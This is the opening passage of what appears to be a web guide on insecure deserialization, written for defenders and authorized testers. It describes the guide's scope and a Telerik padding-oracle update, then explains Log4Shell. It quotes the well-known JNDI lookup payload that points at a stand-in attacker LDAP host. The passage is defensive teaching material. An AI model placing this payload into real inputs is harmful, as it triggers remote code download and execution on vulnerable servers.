Deserialization

Comprehensive Insecure Deserialization Guide 🆕 Updated September 12, 2026 — added the Telerik UI padding-oracle chain (CVE-2026-13181/13182/13183): no MAC, a JSON decoder at the end, and why the key source is always the first question. A practitioner’s reference for insecure deserialization — language-specific attack surface, gadget chain mechanics, real-world CVE chains, tools, and detection/prevention. 🧩 See it visually: Explore gadget chains and disassemble serialized blobs in the Deserialization Gadget Visualizer — trace readObject() → Runtime.exec and read Java/pickle/PHP streams byte by byte, 100% in your browser. ...

Quick note before we start: this is about the wire format, for defenders and people doing authorized testing. There’s no turnkey exploit here, no gadget chain, nothing you can copy-paste to pop a box. The point is to know what the bytes look like so you can spot them. You’ve seen the Log4Shell string a hundred times: ${jndi:ldap://attacker.example/a} And you’ve probably read the stock explanation that goes with it: the server does a JNDI lookup, the attacker’s LDAP server hands back a reference to a remote class, and the JVM downloads and runs it. ...